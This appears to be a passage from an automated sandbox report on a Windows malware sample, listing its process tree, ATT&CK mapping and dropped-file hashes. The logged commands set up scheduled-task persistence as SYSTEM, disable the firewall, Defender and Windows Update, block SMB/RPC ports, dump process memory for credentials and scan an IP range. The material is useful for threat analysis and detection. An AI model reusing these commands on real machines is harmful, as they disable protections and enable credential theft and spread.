- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ebvlkntti" /ru system /tr "cmd /c C:\Windows\ime\nmlkkib.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2840
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2984
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "ebvlkntti" /ru system /tr "cmd /c C:\Windows\ime\nmlkkib.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:396
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "mlbcmtkeu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mnvzbkud\nmlkkib.exe /p everyone:F"
  2⤵
  PID:4700
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3272
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "mlbcmtkeu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\mnvzbkud\nmlkkib.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3320
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "emzntiyli" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\zzuiitsrt\tktgmq.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4540
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2292
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "emzntiyli" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\zzuiitsrt\tktgmq.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3632
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3452
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3324
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2464
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4720
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3748
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4688
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2032
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3080
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2892
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1584
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4844
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3544
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  PID:2592
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3172
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:4616
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:4748
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1976
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1596
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:4516
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4412
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2404
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      PID:3324
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2956
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2376
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:3272
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1772
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:752
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:4252
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1092
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2136
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1288
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    PID:2224
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4944
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4900
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  PID:2900
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:932
- C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe
  C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe -accepteula -mp 760 C:\Windows\TEMP\tsjtbfmcn\760.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5072
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4932
- C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe
  C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe -accepteula -mp 60 C:\Windows\TEMP\tsjtbfmcn\60.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4996
- C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe
  C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe -accepteula -mp 2060 C:\Windows\TEMP\tsjtbfmcn\2060.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3076
- C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe
  C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe -accepteula -mp 2556 C:\Windows\TEMP\tsjtbfmcn\2556.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:444
- C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe
  C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe -accepteula -mp 2728 C:\Windows\TEMP\tsjtbfmcn\2728.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2532
- C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe
  C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe -accepteula -mp 2764 C:\Windows\TEMP\tsjtbfmcn\2764.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1968
- C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe
  C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe -accepteula -mp 3112 C:\Windows\TEMP\tsjtbfmcn\3112.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1144
- C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe
  C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe -accepteula -mp 3864 C:\Windows\TEMP\tsjtbfmcn\3864.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5076
- C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe
  C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe -accepteula -mp 3960 C:\Windows\TEMP\tsjtbfmcn\3960.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2872
- C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe
  C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe -accepteula -mp 4060 C:\Windows\TEMP\tsjtbfmcn\4060.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3324
- C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe
  C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe -accepteula -mp 2784 C:\Windows\TEMP\tsjtbfmcn\2784.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4372
- C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe
  C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe -accepteula -mp 3688 C:\Windows\TEMP\tsjtbfmcn\3688.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5088
- C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe
  C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe -accepteula -mp 4524 C:\Windows\TEMP\tsjtbfmcn\4524.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4204
- C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe
  C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe -accepteula -mp 1668 C:\Windows\TEMP\tsjtbfmcn\1668.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:632
- C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe
  C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe -accepteula -mp 740 C:\Windows\TEMP\tsjtbfmcn\740.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2424
- C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe
  C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe -accepteula -mp 1756 C:\Windows\TEMP\tsjtbfmcn\1756.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2192
- C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe
  C:\Windows\TEMP\tsjtbfmcn\ennsehtzr.exe -accepteula -mp 4420 C:\Windows\TEMP\tsjtbfmcn\4420.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4492
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\tsjtbfmcn\vifklhuyf\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1732
- - C:\Windows\tsjtbfmcn\vifklhuyf\lgkfgfrve.exe
    lgkfgfrve.exe TCP 181.215.0.1 181.215.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:3968

C:\Windows\SysWOW64\bgzdci.exe
C:\Windows\SysWOW64\bgzdci.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2464

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\zzuiitsrt\tktgmq.exe /p everyone:F
1⤵
PID:380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:2808
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\zzuiitsrt\tktgmq.exe /p everyone:F
  2⤵
  PID:3836

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\mnvzbkud\nmlkkib.exe /p everyone:F
1⤵
PID:3096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4840
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\mnvzbkud\nmlkkib.exe /p everyone:F
  2⤵
  PID:824

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\nmlkkib.exe
1⤵
PID:4216
- C:\Windows\ime\nmlkkib.exe
  C:\Windows\ime\nmlkkib.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4720

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\zzuiitsrt\tktgmq.exe /p everyone:F
1⤵
PID:6048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1116
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\zzuiitsrt\tktgmq.exe /p everyone:F
  2⤵
  PID:2952

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\mnvzbkud\nmlkkib.exe /p everyone:F
1⤵
PID:5920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:404
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\mnvzbkud\nmlkkib.exe /p everyone:F
  2⤵
  PID:3356

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\nmlkkib.exe
1⤵
PID:6016
- C:\Windows\ime\nmlkkib.exe
  C:\Windows\ime\nmlkkib.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\tsjtbfmcn\1668.dmp

Filesize
8.7MB

MD5
e2ea6857bbaa63e069958cc8bbd79f90

SHA1
ed473ec2bd1586482b6d1e1dd1b50dff91ac0949

SHA256
261a0f0f8433474843a30edb77dfe28cb5d7e1358478715409ff1c00b118ecbf

SHA512
010366fb1d1bee58195d69fa15ea1c5bf9093bd3835a9efb34f5dc8c7de571deea998e10dbcbede970866b4fc846ca70ff7de083064de0bcd0bde513d748234d

Download Submit
C:\Windows\TEMP\tsjtbfmcn\2060.dmp

Filesize
4.1MB

MD5
de65102a015d7c8fcd7114405e996513

SHA1
079483e1638e74af84310ec98e435a7dce869aa4

SHA256
a4cdb7cf0b9e42871e9828bdc24a06c397aebd4bcabc3e68e59d26c45e66cf28

SHA512
5fe382312d2af3b5c1843df40296eae10e0467759a15ef607de74067268b37d902534e95a48b244e3e094719e18ff7ebcfefbaf246fddcd5212f922525f8ef3a

Download Submit
C:\Windows\TEMP\tsjtbfmcn\2556.dmp

Filesize
4.1MB

MD5
d0a93ac6d8a6b2c8d5ce9c1fed386d2a

SHA1
f3aaa99e8502f5ed8562d142adb3b8c5906ec4ed

SHA256
e46d0f2318073c7d40d6e303c2a7e7e3618928c194f2d56a3284bf7ee531504a

SHA512
586584440af1cfe0a383811e2196a54b24736af1c86ee52a88ad35fac13f20eeea8bb56c4a67913ab2e97876f6a42a83bc71e93751cdbbb4170227ddfa5530f2

Download Submit
C:\Windows\TEMP\tsjtbfmcn\2728.dmp

Filesize
3.0MB

MD5
5f55b9980ed498f79d82ea806b00b4b7

SHA1
20d7bc161d7db334a5b9ed6a11b435c4e7fea482

SHA256
d4def90a3c063f7b4a3264f52c07a307b51919bd486838de71af3117615c4dda

SHA512
798f4108f3dca45eb8c6b2417188bdbaf6a54bf53bcb94ba5f463b6dea76ccc9ab7cd8263ced058ca15f8f6573830a5cc3effd012681b5a7fee7c007ba27c2d0

Download Submit
C:\Windows\TEMP\tsjtbfmcn\2764.dmp

Filesize
7.6MB

MD5
71e423b942b387029517e4ebd796005b

SHA1
f219b22dd203bc92d2a8a8e47a11dceb8bbdfe6e

SHA256
27293b1012e6953797d85b5dc5a160803acedd20c02f184810714c6e75603137

SHA512
e9dab57a2cb808ea8bebe1a5390b1b552c1071dc41349036e337375708ed728b6c5c26c48cd6716e58ad802a637c249af5efef5d89dbb7123883fe6759a6cf55

Download Submit
C:\Windows\TEMP\tsjtbfmcn\2784.dmp

Filesize
43.7MB

MD5
a3047167b54e3da1fe3da3134bf4f485

SHA1
85bf1c3c06b0a3cabfee2e6574f15faa801b5836

SHA256
f1ad12ba11a41147e35eb0e401319a46e5b85981c3d1ae648228b0876f04c81a

SHA512
4e510efc2306efcd753461f508aabee6e03c9c85533d43a050551cfe42b3343e61e386492a020d8bc8ff66fe1e207bea1ee2ec73f7eaf829dade938ed40b1a09

Download Submit
C:\Windows\TEMP\tsjtbfmcn\3112.dmp

Filesize
822KB

MD5
b1bea6f2ce79ca1d874b74859c6da314

SHA1
9ce9956af9f56efd0b453f3fc903d5c4fec4a722

SHA256
28d5278f70440710ac316e88cea42aec0c1a9b7267fa04ac08711fed5d68e6e7

SHA512
1bcc385223596a5e8aa948ce2db1f6733ccb26559b1a5f85392235e50d78b0a1007cb9a3b03c74519ef2129697ff3567c5831f1782f1e6217c98294a3876b9b4

Download Submit
C:\Windows\TEMP\tsjtbfmcn\3688.dmp

Filesize
1.2MB

MD5
2787c633297fc1749109cadd696f21f6

SHA1
ded0217cfdf21fe2132ad1b3178ebb389b1dfb42

SHA256
17bb6355d1b9b3e43ec77fbebe29e6d1a7004c8d41d46106c57fb5d1c767bceb

SHA512
99d0d17f545e45597d00ca2761f09dfbf41bc02bf0a2a08e49b38324d6ac78930f6aea9766703ec0d4bc780697ad64d1ce51768e8313a6d26d5319cebe1b6be4

Download Submit
C:\Windows\TEMP\tsjtbfmcn\3864.dmp

Filesize
2.3MB

MD5
b41b4c7ed94713b7d20c0771a1188571

SHA1
0c8c7e938033fe9cad3c0749a85e79bd3ffb82f9

SHA256
14b3ec24aaf9e2846eabf3df1bede7bd5cde6ea9f1b14efb8893d3d189e4d8f9

SHA512
54958d5fb8dac4684aaa27c8ca06ab5f2aad035e716e8987d3401a3713460a35f929af3fff89e849e4c856c83b7bee31a8f0c87ff6a126be7410fa10b68d5469

Download Submit
C:\Windows\TEMP\tsjtbfmcn\3960.dmp

Filesize
20.6MB

MD5
e7fbaeae3456cbfbcc1d3f885bdd71a6

SHA1
5bd04d658093b26be60360984f85cc8556c447bc

SHA256
bce0d0675fa6131b5811b7e97ea37aa6a42c6f68d71f4a2a8b70138361563079

SHA512
06160a3405d2bf5444253c229fe0b3ce462766463640232ca85c610779376c1fc6285cba0993c5d091cb7de4604497ffd95b8af9dee09bf51713ddc2b4d3e6d2

Download Submit
C:\Windows\TEMP\tsjtbfmcn\4060.dmp

Filesize
4.1MB

MD5
794591c199e125e58a276dac56deb7af

SHA1
cec916c9ff79d86468f825740fe40a02e876f098

SHA256
a6096a64f8d40d9b3713c999beda56bdf828373596adf3daa2f8d575fddace36

SHA512
c6799713cde0a5eb0bf9e59bcafdbcdc063db58c52c6faef3fa98a0b1ee1058b38e009b9700788effb5f49f5d99f93d62e35c7a41868aa91aff757bfa5b6bae2

Download Submit
C:\Windows\TEMP\tsjtbfmcn\4524.dmp

Filesize
25.7MB

MD5
e813dd81649b017a01cda9ab2ebd8227

SHA1
ba5f0eec77332200638a4ffcb68d0eb3d6a494ef

SHA256
c14c0e927b57d0a569219742e5d1f49571db75adead090a5b6ed2db6b01faa53

SHA512
28ddb63ea4841e6a7f201a46305cb5968cada13ec80da7010830ca679a8580e5aef2903de88fda10281026871eb82dcdd0644474fdaf2ba25d4c74b91bd3bbc1

Download Submit
C:\Windows\TEMP\tsjtbfmcn\60.dmp

Filesize
33.6MB

MD5
69a1fb48f97dce737cffc0cda6fdad62

SHA1
bb8b0715d340f1ec0687b88576ce1207959893c4

SHA256
9d1d632f65e359b1d8fb16b2a2fd5afe6e93d3e94fb167bdaaaa56ac1473cd47

SHA512
2f3f8c8135edb940740c7006e75e22ba2229083c3583a2f0905ae4d516ce885873f786424d0f9061f9eaa90c82b8e1da66dfceb8f10ba33d54b85642ba0418c5

Download Submit
C:\Windows\TEMP\tsjtbfmcn\760.dmp

Filesize
1019KB

MD5
fbf6331a19714a2d4092c6844cd71fe7

SHA1
80c484fad63d1eacefda1bc91e94a096ba7ec4ec

SHA256
a81224ade9ac9143c1f1eea92c7e7d8460ea946e6edfeedfe789b5f586fcbe2c

SHA512
6b14359be63725da6501004ba312fa0a851fec877c73ef0b45f0f231303c3c4bb40b6c2dd28749c63002f94244c9ee0306773a173ef0ea4621b24ccb60091ba2

Download Submit
C:\Windows\TEMP\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\TEMP\zzuiitsrt\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\Temp\nsr3025.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsr3025.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\tsjtbfmcn\ennsehtzr.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\zzuiitsrt\tktgmq.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\mnvzbkud\nmlkkib.exe

Filesize
9.2MB

MD5
75356e1248a987dc5da6f8a7e54db5b7

SHA1
bea90075bab4af2796282a8e266fdc6803e533e3

SHA256
70bb4afa911b4e8e99422b119a0a4afd33341e630ab873daa90b7fc9c6a5d246

SHA512
6a6e6591d4b8b468b4978f490dce785d4b636425518ad673574a97a732dce57185b84891a23480fc7966da0257379657396cd2293268d147661e001e96b5e63b

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
